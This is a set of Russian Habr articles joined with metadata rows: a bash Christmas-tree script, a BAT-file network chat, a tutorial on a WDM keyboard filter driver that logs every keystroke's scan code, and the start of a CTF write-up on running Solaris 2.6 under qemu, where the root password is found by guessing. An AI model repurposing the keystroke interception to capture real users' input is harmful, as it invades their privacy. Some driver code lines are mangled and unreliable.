Приглашаем вас в новогодний [Хабрачат-2023](https://habr.com/ru/post/707764/). Да пребудет с вами сила и ssh habra.chat.
**Куда же без ёлочки и баша**
[Источник](https://github.com/sergiolepore/ChristBASHTree) оригинального кода, автор Sergio Lepore.
```
#!/bin/bash
trap "tput reset; tput cnorm; exit" 2
clear
tput civis
lin=2
col=$(($(tput cols) / 2))
c=$((col-1))
est=$((c-2))
color=0
tput setaf 2; tput bold
# Tree
for ((i=1; i<20; i+=2))
{
tput cup $lin $col
for ((j=1; j<=i; j++))
{
echo -n \*
}
let lin++
let col--
}
tput sgr0; tput setaf 3
# Trunk
for ((i=1; i<=2; i++))
{
tput cup $((lin++)) $c
echo 'ХАБР'
}
tput setaf 2; tput bold
tput cup $lin $((c - 18)); echo Хабр поздравляет всех с новым 2023 годом!
tput setaf 6; tput bold
tput cup $((lin + 1)) $((c - 31)); echo Пусть в новом году у вас будет много хорошего кода и меньше багов,
tput cup $((lin + 2)) $((c - 31)); echo большой аптайм критичных систем, недремучие юзеры, новые мощные ПК,
tput cup $((lin + 3)) $((c - 31)); echo вас обойдёт DDoS, а ваши бэкапы всегда в сохранности и обновлены!
let c++
k=1
# Lights and decorations
while true; do
for ((i=1; i<=35; i++)) {
# Turn off the lights
[ $k -gt 1 ] && {
tput setaf 2; tput bold
tput cup ${line[$[k-1]$i]} ${column[$[k-1]$i]}; echo \*
unset line[$[k-1]$i]; unset column[$[k-1]$i] # Array cleanup
}
li=$((RANDOM % 9 + 3))
start=$((c-li+2))
co=$((RANDOM % (li-2) * 2 + 1 + start))
tput setaf $color; tput bold # Switch colors
tput cup $li $co
echo o
line[$k$i]=$li
column[$k$i]=$co
color=$(((color+1)%8))
}
k=$((k % 2 + 1))
done
``` | https://habr.com/ru/post/708734/ | null | ru | null |
# Многопользовательский чат на BAT
Был период, когда в универе задали сделать несколько чатов. В зависимости от вариантов, были заданы различные способы взаимодействия программ от сокетов до майлслотов (mailslot). Когда задания были прикончены, остались силы взяться за скрипты BAT. Вот что получилось…
*Всё что нужно для запуска:*
1. Взять код по ссылке в конце статьи
2. Сохранить код в файл \*.bat
3. Положить файл в сетевую папку
4. Запустить файл с разных компов (можно и с одного)
*В комментариях предложили использовать совместно с DropBox, но говорят — что работает весьма не быстро.*
Прежде всего, хочу извиниться за код, оформленный скриншотами. Просто никто не подсветит BAT-ник лучше, чем это делает [Notepad++](http://notepad-plus-plus.org/). Снимки кода сохранены в палитровые (256 цветов) PNG — вес скринов кода по 5-10Кб.
#### Сперва про реализацию
Базовые элементы:
1. %chat% — имя группы
2. %nick% — имя пользователя
3. файл "%chat%\_history" — файл с полной историей группы
4. файл "%chat%" — файл с последней репликой в группе
5. файл "%chat%\_cs" — файл используемый для синхронизации
Для начала спросим пользователя ввести имя группы и свой ник. После получения имени группы и ника в строке №5 производится запуск скриптом самого себя с тремя параметрами: слово talk\_widget, а также имя группы и имя пользователя.
Теперь выводим в заголовке окна название группы и имя пользователя (строка №3). Если существует файл с именем %chat%\_history, печатаем его содержимое на экран (строка №4). Далее в цикле считываем содержимое файла %chat% и сравниваем его с тем, что было в предыдущем считывании. Если содержимое файла изменилось — печатаем его на экран.
Изначально код имеет следующую структуру: при запуске проверяются параметры, если первым параметром идёт слово «talk\_widget», то скрипт выполняет код, относящийся к отправке текста. При отсутствии такового параметра, код выполняет функцию получения и отображения данных. Изначально производится запуск скрипта без параметров, он спрашивает имя группы и имя пользователя, запускает второй процесс с параметром «talk\_widget», а сам начинает печатать содержимое чат-группы.
Теперь о том, как работает код принимающий ввод от пользователя. Он сперва модифицирует заголовок окна (строка №5). Затем печатает в файл последней реплики сообщение-уведомление о своём подключении и дописывает сообщение к истории. При доступе к файлу реплики используется примитивный механизм критических секций (чуть ниже рассмотрим, как он работает). Далее в цикле (строки 11-19) производится получение от пользователя строк данных и их запись в файл реплики и допись в файл истории.
Функция входа в критическую секцию в файл, используемый для синхронизации, циклично записывает случайное число. До тех пор пока оно не окажется там при повторном считывании. Если на момент запуска функции файл существует, также осуществляется небольшая задержка. Задержки реализуются через `ping>nul`.
Функция выхода из критической секции просто удаляет файл синхронизации.
#### Теперь про результат
Имеется чат, обладающий следующими качествами:
1. Разделение **по чат-группам** (много групп и много пользователей)
2. **Получение истории** общения новыми участниками
3. Общение **по сети** (выложить скрипт в расшаренную папку и запустить с разных компьютеров)
При запуске, скрипт спрашивает имя чат-группы и имя пользователя.
После ввода требуемых данных, появляется второе окно, служащее консолью для ввода:
Теперь запущу этот же BAT-файл (он лежит в расшаренной папке) с другого компьютера сети.
После ввода того же самого имени чата и имени нового пользователя опять же появится второе окно для ввода данных на отправку.
Теперь попробуем пересылать сообщения между абонентами:
Теперь подключимся с третьего компьютера:
И увидим следующую картину:
**Внимание!** Замечен непонятный баг в **win7** x64 при запуске скрипта **из сетевой папки** //\*\*\*. Третья строка скрипта **pushd "%~dp0"** интерпретируется **очень** долго. Очень долго разбирается **%~dp0**, попробуйте просто **echo %~dp0** вызвать — это как минимум странно. Если подождать минуты 2-3, то всё будет работать нормально... в WinXP таких проблем нет.
**Предупреждение:** при каждом *запуске скрипта из сетевой папки* в «Моём Компьютере» будут плодиться сетевые диски с буквами Z: Y: X: и т.д. После перезагрузки они пропадут без следа.
И конечно же ссылка на код: <http://codepad.org/rvFN13LI>
А также полезные ссылки:
1. Работа с путями в BAT: [http://www.microsoft.com/.....](http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/batch.mspx?mfr=true)
2. И вообще по написанию BAT-ников: [http://www.microsoft.com/.....](http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/batch.mspx?mfr=true)
**UPDATE:**
*Если вам довелось использовать этот чат по его прямому назначению, кхе-кхе)) Будьте добры оставьте комментарий о полученных ощущениях.* | https://habr.com/ru/post/121903/ | null | ru | null |
# Простейший WDM-драйвер
В данной статье описан процесс написания простейшего драйвера, который выводит скан-коды нажатых клавиш.
Также в данной статье описан процесс настройки рабочего места для написания драйверов.
Если Вам интересно, прошу под кат.
#### Подготовка стенда
##### Установка необходимого ПО для написания простейшего драйвера
Необходимое ПО:
1. Windows DDK (Driver Development Kit);
2. VMware Workstation или Virtual Box;
3. Windows XP;
4. Visual Studio 2005;
5. DDKWizard;
6. KmdManager
7. DebugView;
Я использую две виртуальные машины, пишу драйверы на одной, а запускаю на другой. Если вы тоже решите так делать то для той машины, на которой вы будете запускать драйверы, хватит 4 Гбайтового жесткого диска и 256 Мбайт оперативной памяти.
##### Настройка рабочего места
###### Установка DDK
Установка предельно проста. Единственное на что необходимо обратить внимание — это диалог, в котором Вам предлагается выбрать компоненты, которые будут установлены. Настоятельно рекомендую отметить всю документацию и примеры.
###### Установка и настройка Microsoft® Visual Studio 2005
Установка Microsoft® Visual Studio 2005 ничем не сложнее установки DDK. Если Вы будете использовать её только для написания драйверов, то когда инсталлятор спросит какие компоненты необходимо установить, выберите только Visual C++.
Далее можно установить Visual Assist X. С помощью этой программы (аддона) можно будет легко настроить подсказки для удобного написания драйверов.
После установки Visual Assist X в Visual Studio 2005 появится новое меню VAssistX. Далее в этом меню: `Visual Assist X Options -> Projects -> C/C++ Directories -> Platform: Custom, Show Directories for: Stable include files`. Нажимаем `Ins` или на иконку добавить новую директорию и в появившейся строке, если у вас Windows XP вписываем `%WXPBASE%\inc\ddk\wxp`.
###### Установка и настройка DDKWizard
Для того чтобы в Visual Studio можно было компилировать драйверы нужно установить DDKWizard. Его можно скачать с сайта [ddkwizard.assarbad.net](http://ddkwizard.assarbad.net/). Также с этого сайта скачайте скрипт ddkbuild.cmd.
После того как мастер установится необходимо выполнить следующие шаги:
* Создать системные (рекомендуется) или пользовательские переменные со следующими именами и значением, которое соответствует пути к DDK
| Версия DDK | Имя переменной | Путь по умолчанию |
| --- | --- | --- |
| Windows XP DDK | WXPBASE | C:\WINDDK\2600 |
| Windows 2003 Server DDK | WNETBASE | C:\WINDDK\3790.1830 |
| Windows Vista/Windows 2008 Server WDK | WLHBASE | |
| Windows 7/Windows 2008 Server R2 WDK | W7BASE | |
Например, если я использую Windows XP DDK, то я должен создать переменную WXPBASE со значением, которое соответствует пути к DDK. Так как я не изменял путь установки, то значение у меня будет C:\WINDDK\2600.
* Скопируйте скачанный скрипт ddkbuild.cmd, например, в папку с DDK. У меня это C:\WINDDK\.
* Добавьте в конец системной переменной Path путь к скрипту ddkbuild.cmd.
Всё, машина, на которой будем запускать драйверы, готова.
##### Установка необходимого ПО для запуска драйверов
Теперь настроим машину, на которой будем запускать написанные драйверы.
Нам потребуются следющие программы:
* DebugView ([link](http://download.sysinternals.com/files/DebugView.zip)) — это утилитка, которая позволяет просматривать отладочный вывод как режима пользователя так и режима ядра.
* KmdManager ([link](https://wasm.ru/pub/21/files/kmd3.zip)) — утилита динамической загрузки/выгрузки драйверов
Всё, машина готова для запуска драйверов.
#### Постановка задачи
Задача: написать драйвер, который будет выводить в дебаг скан-коды нажатых клавиш и их комбинаций.
##### Немного теории
Драйвер — это набор функций, которые вызываются операционной системой при наступлении некоторых событий, приходящих от устройства или пользовательского режима.
Существует достаточно много типов драйверов, ниже перечисленны некоторые из них:
* драйверы классов;
* минидрайверы;
* функциональные драйверы;
* фильтрующие драйверы.
Драйверы классов — это драйверы, котрые пишет Microsoft. Это общие драйвера для определенного класса (неужели!) устройств.
Минидрайверы — драйверы, которые используеют драйвер класса для управления устройством.
Функциональные драйверы — это драйверы, которые работают самостоятельно и определяет все что связано с устройством.
Фильтрующие драйверы — драйверы, которые используются для мониторинга или изменения логики другого драйвера путем изменения данных, которые идут к нему.
Необязательно определять все возожные функции в своем драйвере, но он обязательно должен содержать `DriverEntry` и `AddDevice`.
`IRP` — это структура, которая используется драйверами для обмена данными.
Итак, для того чтобы выводить скан-коды ([что это?](https://ru.wikipedia.org/wiki/%D0%A1%D0%BA%D0%B0%D0%BD-%D0%BA%D0%BE%D0%B4)) в дебаг, будем использовать фильтрующий драйвер.
Существует два типа фильтрующих драйверов:
* верхние фильтрующие драйверы;
* нижние фильтрующие драйверы.
То, к какому типу относится ваш драйвер, зависит от того где этот драйвер находится в стеке драйверов устройств. Если Ваш драйвер находится выше функционального драйвера, то его называют верхним фильтрующим драйвером, если ниже, то, нижним фильтрующим драйвером.
###### Отличия между верхними и нижними фильтрующими драйверами
Через верхние фильтрующие драйверы проходят все запросы, а это значит, что они могут изменять и/или фильтровать информацию, идущую к функциональному драйверу, ну и далее, возможно, к устройству.
Пример использования верхних фильтрующих драйверов:
Фильтр-хук драйвер, который устанавливает свою хук-функцию для системного драйвера IpFilterDirver, для отслеживания и фильтрации траффика. Такие драйверы используются в брандмауэрах.
Через нижние фильтрующие драйверы проходит меньше запросов потому что большинство запросов выполняет и завершает функциональный драйвер.
###### Проблемы синхронизации
В драйвере, который мы будем писать, есть несколько «проблемных» секций. Для нашего драйвера вполне достаточно использования ассемблерных вставок:
```
__asm {
lock dec «переменная, которую нужно уменьшить на единицу»
}
```
или
```
__asm {
lock inc «переменная, которую нужно увеличить на единицу»
}
```
Префикс `lock` позволяет безопасно выполнить идущую за ним команду. Она блокирует остальные процессоры, пока выполняется команда.
#### Экшен
Для начала необходимо включить заголовочные файлы «ntddk.h», «ntddkbd.h»
```
extern "C"
{
#include "ntddk.h"
}
#include "ntddkbd.h"
```
Также необходимо описать структуру `DEVICE_EXTENSION`
```
typedef struct _DEVICE_EXTENSION{
PDEVICE_OBJECT pLowerDO;
} DEVICE_EXTENSION, *PDEVICE_EXTENSION;
```
Объект `pLowerDO` это объект устройства, который находится ниже нас в стеке. Он нужен нам для того чтобы знать кому дальше отправлять IRP-пакеты.
Еще для работы нашего драйвера нам нужна переменная, в которой будет храниться количество не завершенных запросов.
```
int gnRequests;
```
Начнем с функции, которая является главной точкой входа нашего драйвера.
```
extern "C" NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING ustrRegistryPath)
```
`theDriverObject` – объект драйвера, содержит указатели на все необходимые операционной системе функции, которые мы должны будем инициализировать.
`ustrRegistryPath` – имя раздела в реестре, где хранится информация о данном драйвере.
Для начала необходимо объявить и обнулить переменные:
```
gnRequests = 0;
NTSTATUS status = {0};
```
Далее, как я и писал выше, нужно инициализировать указатели на функции
```
for (int i = 0; iMajorFunction[i] = DispatchThru;
}
theDriverObject->MajorFunction[IRP\_MJ\_READ] = DispatchRead;
theDriverObject->DriverUnload = DriverUnload;
```
Функция `DispatchRead` будет обрабатывать запросы на чтение. Она будет вызываться, когда нажата или отпущена клавиша клавиатуры.
Функция `DriverUnload` вызывается, когда драйвер уже не нужен и его можно выгрузить из памяти, или когда пользователь сам выгружает драйвер. В данной функции должна производиться «зачистка», т.е. освобождаться ресурсы, которые использовались драйвером, завершаться все незавершенные запросы и т.д.
Функция `DispatchThru` это функция-заглушка. Все что она делает это передача IRP-пакета следующему драйверу (драйверу который находится под нашим в стеке, т.е. `pLowerDO` из `DEVICE_EXTENSION`).
Далее мы вызываем нашу функцию, для создания и установки нашего устройства в стек устройств:
```
status = InstallFilter(theDriverObject);
```
Эту функцию я опишу чуть ниже.
Возвращаем `status`, в котором, если функция `InstallFilter` завершилась удачей, хранится значение `STATUS_SUCCESS`.
Переходим к функции `InstallFilter`. Вот её прототип:
```
NTSTATUS InstallFilter(IN PDRIVER_OBJECT theDO);
```
Эта функция создает объект устройства, настраивает его и включает в стек устройств поверх `\\Device\\KeyboardClass0`
Объявляем переменные:
```
PDEVICE_OBJECT pKeyboardDevice;
NTSTATUS status = {0};
```
`pKeyboardDevice` – это объект устройсва, которое мы должны создать.
Вызываем `IoCreateDevice` для создания нового устройства
```
status = IoCreateDevice(theDO, sizeof(DEVICE_EXTENSION), NULL, FILE_DEVICE_KEYBOARD, 0, FALSE, &pKeyboardDevice);
```
Разберем подробнее параметры:
* Первый аргумент это объект драйвера, который мы получили как параметр функции InstallFilter. Он передается в IoCreateDevice для того чтобы установить связь между нашим драйвером и новым устройством.
* Третий параметр это имя устройства
* Четвертый параметр это тип устройства
* Пятый параметр это флаги, которые обычно устанавливаются для запоминающих устройств.
* Шестой параметр описывает можно ли открывать манипуляторы устройства в количестве больше одного. Если FALSE можно открыть только один манипулятор. Иначе можно открыть любое количество манипуляторов.
* Седьмой параметр это память, в которой будем сохранен созданный объект устройства.
Далее устанавливаем флаги устройства.
```
pKeyboardDevice->Flags = pKeyboardDevice->Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE);
pKeyboardDevice->Flags = pKeyboardDevice->Flags & ~DO_DEVICE_INITIALIZING;
```
Флаги, которые мы устанавливаем для нашего устройства, должны быть эквивалентными флагам устройства, поверх которого мы включаемся в стек.
Далее мы должны выполнить преобразования имени устройства, которое мы включаем в стек.
```
CCHAR cName[40] = "\\Device\\KeyboardClass0";
STRING strName;
UNICODE_STRING ustrDeviceName;
RtlInitAnsiString(&strName, cName);
RtlAnsiStringToUnicodeString(&ustrDeviceName, &strName, TRUE);
```
Функция `IoAttachDevice` внедряет наше устройство в стек. В `pdx->pLowerDO` будет храниться объект следующего (нижнего) устройства.
```
IoAttachDevice(pKeyboardDevice, &ustrDeviceName, &pdx->pLowerDO);
```
Освобождаем ресурсы:
```
RtlFreeUnicodeString(&ustrDeviceName);
```
Далее разберем функцию `DispatchRead` с прототипом:
```
NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp);
```
Данная функция будет вызываться операционной системой при нажатии или отпускании клавиши клавиатуры
Увеличиваем счетчик незавершенных запросов
```
__asm {
lock inc gnRequests
}
```
Перед тем как передать запрос следующему драйверу мы должны настроить указатель стека для драйвера. `IoCopyCurrentIrpStackLocationToNext` копирует участок памяти, который принадлежит текущему драйверу, в область памяти следующего драйвера.
```
IoCopyCurrentIrpStackLocationToNext(theIrp);
```
Когда запрос идет вниз по стеку в нем еще нет нужных нам данных, поэтому мы должны задать функцию, которая вызовется, когда запрос будет идти вверх по стеку с нужными нам данными.
```
IoSetCompletionRoutine(theIrp, ReadCompletionRoutine, pDeviceObject, TRUE, TRUE, TRUE)
```
где `ReadCompletionRoutine` наша функция.
Передаем `IRP` следующему драйверу:
```
return IoCallDriver(((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pLowerDO ,theIrp);
```
Теперь разберем функцию, которая будет вызываться каждый раз при завершении `IRP`. Прототип:
```
NTSTATUS ReadCompletionRoutine(IN PDEVICE_OBJECT pDeviceObject, IN PIRP theIrp, IN PVOID Context);
```
Получаем `DEVICE_EXTENSION`:
```
PDEVICE_EXTENSION pdx = (PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;
```
Структура `PKEYBOARD_INPUT_DATA` используется для описания нажатой клавиши.
```
PKEYBOARD_INPUT_DATA kidData;
```
Проверяем, удачно завершен запрос или нет
```
if (NT_SUCCESS(theIrp->IoStatus.Status))
```
Чтобы достать структуру `KEYBOARD_INPUT_DATA` нужно обратиться к системному буферу `IRP`-пакета.
```
kidData = (PKEYBOARD_INPUT_DATA)theIrp->AssociatedIrp.SystemBuffer;
```
Узнаем количество клавиш
```
int n = theIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);
```
И выводим каждую клавишу:
```
for(int i = 0; i
```
И не забываем уменьшать количество не обработанных запросов
```
__asm {
lock dec gnRequests
}
```
Возвращаем статус запроса
```
return theIrp->IoStatus.Status;
```
Разберем функцию завершения работы. Прототип:
```
VOID DriverUnload(IN PDRIVER_OBJECT theDO);
```
Получаем `DEVICE_EXTENSION`:
```
PDEVICE_EXTENSION pdx = (PDEVICE_EXTENSION)theDO->DeviceObject->DeviceExtension;
```
Извлекаем устройство из стека:
```
IoDetachDevice(pdx->pLowerDO);
```
Удаляем устройство:
```
IoDeleteDevice(theDO->DeviceObject);
```
Проверяем есть незавершенные запросы или нет. Если мы выгрузим драйвер без этой проверки, при первом нажатии на клавишу после выгрузки будет БСоД.
```
if (gnRequests != 0)
{
KTIMER ktTimer;
LARGE_INTEGER liTimeout;
liTimeout.QuadPart = 1000000;
KeInitializeTimer(&ktTimer);
Задаем таймер и пока не завершены все запросы, крутим цикл
while(gnRequests > 0)
{
KeSetTimer(&ktTimer, liTimeout, NULL); // Устанавливаем таймер
KeWaitForSingleObject(&ktTimer, Executive, KernelMode, FALSE, NULL); // Ждем пока истечет время
}
}
```
Код драйвера:
```
extern "C"
{
#include "ntddk.h"
}
#include "ntddkbd.h"
typedef struct _DEVICE_EXTENSION{
PDEVICE_OBJECT pLowerDO;
} DEVICE_EXTENSION, *PDEVICE_EXTENSION;
int gnRequests;
NTSTATUS DispatchThru(PDEVICE_OBJECT theDeviceObject, PIRP theIrp)
{
IoSkipCurrentIrpStackLocation(theIrp);
return IoCallDriver(((PDEVICE_EXTENSION) theDeviceObject->DeviceExtension)->pLowerDO ,theIrp);
}
NTSTATUS InstallFilter(IN PDRIVER_OBJECT theDO)
{
PDEVICE_OBJECT pKeyboardDevice;
NTSTATUS status = {0};
status = IoCreateDevice(theDO, sizeof(DEVICE_EXTENSION), NULL, FILE_DEVICE_KEYBOARD, 0, FALSE, &pKeyboardDevice);
if (!NT_SUCCESS(status))
{
DbgPrint("IoCreateDevice error..");
return status;
}
pKeyboardDevice->Flags = pKeyboardDevice->Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE);
pKeyboardDevice->Flags = pKeyboardDevice->Flags & ~DO_DEVICE_INITIALIZING;
RtlZeroMemory(pKeyboardDevice->DeviceExtension, sizeof(DEVICE_EXTENSION));
PDEVICE_EXTENSION pdx = (PDEVICE_EXTENSION)pKeyboardDevice->DeviceExtension;
CCHAR cName[40] = "\\Device\\KeyboardClass0";
STRING strName;
UNICODE_STRING ustrDeviceName;
RtlInitAnsiString(&strName, cName);
RtlAnsiStringToUnicodeString(&ustrDeviceName, &strName, TRUE);
IoAttachDevice(pKeyboardDevice, &ustrDeviceName, &pdx->pLowerDO);
//DbgPrint("After IoAttachDevice");
RtlFreeUnicodeString(&ustrDeviceName);
return status;
}
VOID DriverUnload(IN PDRIVER_OBJECT theDO)
{
PDEVICE_EXTENSION pdx = (PDEVICE_EXTENSION)theDO->DeviceObject->DeviceExtension;
IoDetachDevice(pdx->pLowerDO);
IoDeleteDevice(theDO->DeviceObject);
if (gnRequests != 0)
{
KTIMER ktTimer;
LARGE_INTEGER liTimeout;
liTimeout.QuadPart = 1000000;
KeInitializeTimer(&ktTimer);
while(gnRequests > 0)
{
KeSetTimer(&ktTimer, liTimeout, NULL);
KeWaitForSingleObject(&ktTimer, Executive, KernelMode, FALSE, NULL);
}
}
}
NTSTATUS ReadCompletionRoutine(IN PDEVICE_OBJECT pDeviceObject, IN PIRP theIrp, IN PVOID Context)
{
PDEVICE_EXTENSION pdx = (PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;
PKEYBOARD_INPUT_DATA kidData;
if (NT_SUCCESS(theIrp->IoStatus.Status))
{
kidData = (PKEYBOARD_INPUT_DATA)theIrp->AssociatedIrp.SystemBuffer;
int n = theIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);
for(int i = 0; iPendingReturned)
IoMarkIrpPending(theIrp);
\_\_asm{
lock dec gnRequests
}
return theIrp->IoStatus.Status;
}
NTSTATUS DispatchRead(IN PDEVICE\_OBJECT pDeviceObject, IN PIRP theIrp)
{
\_\_asm{
lock inc gnRequests
}
IoCopyCurrentIrpStackLocationToNext(theIrp);
IoSetCompletionRoutine(theIrp, ReadCompletionRoutine, pDeviceObject, TRUE, TRUE, TRUE);
return IoCallDriver(((PDEVICE\_EXTENSION) pDeviceObject->DeviceExtension)->pLowerDO ,theIrp);
}
extern "C" NTSTATUS DriverEntry(IN PDRIVER\_OBJECT theDriverObject, IN PUNICODE\_STRING RegistryPath)
{
NTSTATUS status = {0};
gnRequests = 0;
for (int i = 0; iMajorFunction[i] = DispatchThru;
}
theDriverObject->MajorFunction[IRP\_MJ\_READ] = DispatchRead;
status = InstallFilter(theDriverObject);
theDriverObject->DriverUnload = DriverUnload;
return status;
}
```
MAKEFILE:
```
#
# DO NOT EDIT THIS FILE!!! Edit .\sources. if you want to add a new source
# file to this component. This file merely indirects to the real make file
# that is shared by all the driver components of the Windows NT DDK
#
!INCLUDE $(NTMAKEENV)\makefile.def
```
SOURCES:
```
TARGETNAME=sysfile
TARGETPATH=BIN
TARGETTYPE=DRIVER
SOURCES = DriverMain.cpp
```
##### Как запустить драйвер и просмотреть отладочную информацию
Для запуска драйвера я использовал утилиту KmdManager. Для просмотра отладочной информации использовалась утилита DbgView.
P. S. Статью писал давно, ещё на третьем курсе, сейчас уже почти ничего не помню. Но если есть вопросы, постараюсь ответить.
P. P. S. Прошу обратить внимание на комментарии, в частности на [этот](http://habrahabr.ru/post/146071/#comment_4951233)
**UPD:** Проект на GitHub: <https://github.com/pbespechnyi/simple-wdm-driver> | https://habr.com/ru/post/146071/ | null | ru | null |
# Масоны выбирают солнце: взлом программы для Sun Solaris & SPARC в задании NeoQUEST-2015
 Уход от привычной x86 архитектуры — это всегда интересно, и в задании [NeoQUEST-2015](http://neoquest.ru/timeline.php?year=2015) «Масоны выбирают солнце» участникам было предложено взломать программу, которая разработана и написана для Sun Solaris 2.6 версии 1995-го года, да еще и для архитектуры SPARC!
Задание оказалось непростым не только для прохождения — его подготовка также заняла некоторое время. Под катом:
* Советы по установке Solaris: как сделать это, минимизировав трудозатраты?
* Запуск Solaris 2.6 под qemu для Windows 8.1
* Подробный разбор двух способов прохождения задания
#### **Изучаем исходные данные к заданию**
В качестве входных данных в задании давались два бинарных файла: маленький getlaunchkey.bin и image.img, занимающий 2ГБ. Кроме того, в тексте задания фигурировали имя **Ivanov** и IP-адрес **79.175.2.82**.
Пока качается двухгигабайтный диск, посмотрим на маленький файл getlaunchkey.bin. По сигнатуре ELF быстро становится понятно, что это за файл. Утилита readelf –a getlaunchkey.bin сообщает нам несколько полезных фактов.
Во-первых, из заголовка понятно, что программа для системы System V, а архитектура sparc x32 бита big endian:
Во-вторых, из оставшейся в файле таблице символов видно, что программа использует сокеты, и содержит код SHA. В остальном маленькая и простая программа:
Если проанализировать содержимое бинарного файла, то можно легко обнаружить в нем два IP-адреса: 192.168.1.88 и 192.168.1.22, которые присутствуют в виде строк. С учетом того, что программа явно работает с сокетами, и исполняемый файл имеет малый размер, можно сделать два предположения:
1. Оба адреса являются адресами серверов, к которым обращается приложение;
2. Один адрес – это адрес хостового компьютера, а второй адрес сервера.
Кроме того, оба адреса принадлежат локальной сети, значит, в исходном виде их использовать нельзя, надо заменить на какие-то другие.
Второй файл image.img в силу размера явно похож на жесткий диск. В начале файла есть сигнатура QFI, которая при быстром гуглении выдает нам информацию о том, что это формат [QCOW](http://en.wikipedia.org/wiki/Qcow), использующийся для динамических образов жестких дисков.
В том числе, этот формат используется в эмуляторе qemu. Если порыться в образе в hex-редакторе (или использовать утилиту наподобие strings), то можно быстро обнаружить строки вроде «Solaris\_2.6», к тому же, есть строка «getlaunchkey».
Из всего вышесказанного можно сделать предварительный вывод о том, что нам достался образ установленного Solaris версии 2.6, и, судя по всему, версии sparc, и программа для этой операционной системы. С программой нам и предстоит разобраться. Теперь есть два пути: попытаться запустить образ Solaris в qemu, или попытаться написать аналог программы getlaunchkey для Windows.
#### **Запускаем Solaris 2.6 в Windows 8.1**
Для начала попробуем запустить Solaris. Если скачать и установить [qemu для Windows](http://qemu.weilnetz.de/w32/), то в его составе будет версия, эмулирующая sparc. Пробуем запустить образ:
```
"c:\Program Files (x86)\qemu\qemu-system-sparc.exe" –hda .\image.img
```
И убеждаемся, что это не работает. Теперь пробуем гуглить и находим пару интересных статей ([первая](http://tyom.blogspot.ru/2009/12/solaris-under-qemu-how-to.html) и [вторая](http://brezular.com/2012/02/12/installation-solaris-sparc-2-6-sunos-5-6-on-qemu-part-1-qemu-installation/)), где рассказано, как запустить Solaris 2.6 под qemu:
В результате изучения этих статей можно сформировать следующую строку запуска:
```
"c:\Program Files (x86)\qemu\qemu-system-sparc.exe" -bios .\ss5-1.bin -L .\ –hda .\image.img -m 256 -M SS-5 -nographic -serial mon:telnet:127.0.0.1:4444,server,nowait
```
Разберем эти опции подробнее:
* bios .\ss5-1.bin – требует от qemu использовать указанный образ BIOS. Оказывается, стандартный образ BIOS для sparc из поставки qemu не годится для Solaris 2.6 sparc. Сам образ можно скачать [тут](http://home.earthlink.net/%7Ereif/ss5.bin)
* hda .\image.img – указываем образ диска, с которого грузиться. Кстати, надо не забыть снять бит Read Only с файла образа, иначе qemu не сможет работать (обычно в Windows он даже об ошибке не скажет)
* m 256 – задаем размер оперативной памяти (256 мегабайт для версии ОС 1995 вполне достаточно)
* M SS-5 – уточняем для qemu тип эмулируемой архитектуры sparc
* nographic – очень важная опция. В qemu, оказывается, эмулируется графический адаптер с ошибками, в результате Solaris 2.6, пытаясь использовать графику, зависает при загрузке
* serial mon:telnet:127.0.0.1:4444,server,nowait – поскольку мы выключили графический адаптер, то отображать что-либо на экране qemu не сможет, вместо этого он сможет отображать простой COM терминал в сеть по протоколу telnet. Опция включает перенаправление эмулятора COM в заданное устройство.
Если не использовать последние две опции, то qemu запустит графическое окно:
Но после продолжительной загрузки сперва зависнет на несколько минут, а потом перезагрузится на примерно таком экране:
Итак, запускаем команду, и убеждаемся, что в командной строке все зависло – значит, виртуальная машина запустилась. Теперь, чтобы увидеть запущенную ОС, нужно подключиться к telnet:127.0.0.1:4444 с помощью [putty](http://www.putty.org/) . В результате, в консоли putty мы увидим следующий текст (на всякий случай, в консоли нужно нажать Enter, иначе не обновится экран):
```
Probing Memory Bank #0 32 Megabytes
Probing Memory Bank #1 32 Megabytes
Probing Memory Bank #2 32 Megabytes
Probing Memory Bank #3 32 Megabytes
Probing Memory Bank #4 32 Megabytes
Probing Memory Bank #5 32 Megabytes
Probing Memory Bank #6 32 Megabytes
Probing Memory Bank #7 32 Megabytes
Incorrect configuration checksum;
Setting NVRAM parameters to default values.
Setting diag-switch? NVRAM parameter to true
Probing CPU FMI,MB86904
Probing /iommu@0,10000000/sbus@0,10001000 at 5,0 espdma esp sd st SUNW,bpp ledma le
Probing /iommu@0,10000000/sbus@0,10001000 at 4,0 SUNW,CS4231 power-management
Probing /iommu@0,10000000/sbus@0,10001000 at 1,0 Nothing there
Probing /iommu@0,10000000/sbus@0,10001000 at 2,0 Nothing there
Probing /iommu@0,10000000/sbus@0,10001000 at 3,0 SUNW,tcx
Probing /iommu@0,10000000/sbus@0,10001000 at 0,0 Nothing there
SPARCstation 5, No Keyboard
ROM Rev. 2.15, 256 MB memory installed, Serial #1193046.
Ethernet address 52:54:0:12:34:56, Host ID: 80123456.
Boot device: /iommu/sbus/ledma@5,8400010/le@5,8c00000 File and args:
Internal loopback test -- Wrong packet length; expected 36, observed 64
Can't open boot device
Type help for more information
ok
```
И что теперь делать? Из тех же статей узнаем, что надо набрать команду для BIOS:
```
boot disk0:
```
Теперь ждем, пока загрузится Solaris 2.6. Это может занять несколько минут… Ждем и верим в ОС 1995-го года!
В результате загрузки попросят логин и пароль. Путем простого перебора выясняем, что логин: root, а пароль 123456. Не очень-то все безопасно настроено, не так ли?
```
zvezda console login: root
Password:
Last login: Thu Jun 19 11:30:16 on console
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
# ls
bin devices kernel opt tmp
cdrom etc lib platform usr
core export lost+found proc var
dev home mnt sbin vol
#
```
#### **Из найденного в Solaris — только программа getlaunchkey**
Убеждаемся, что работают привычные команды ls, ps,… Если покопаться в системе (Solaris), то можно найти много интересного, например:
```
GCC 3.4.6:
# /usr/local/bin/gcc -v
Reading specs from /usr/local/lib/gcc/sparc-sun-solaris2.6/3.4.6/specs
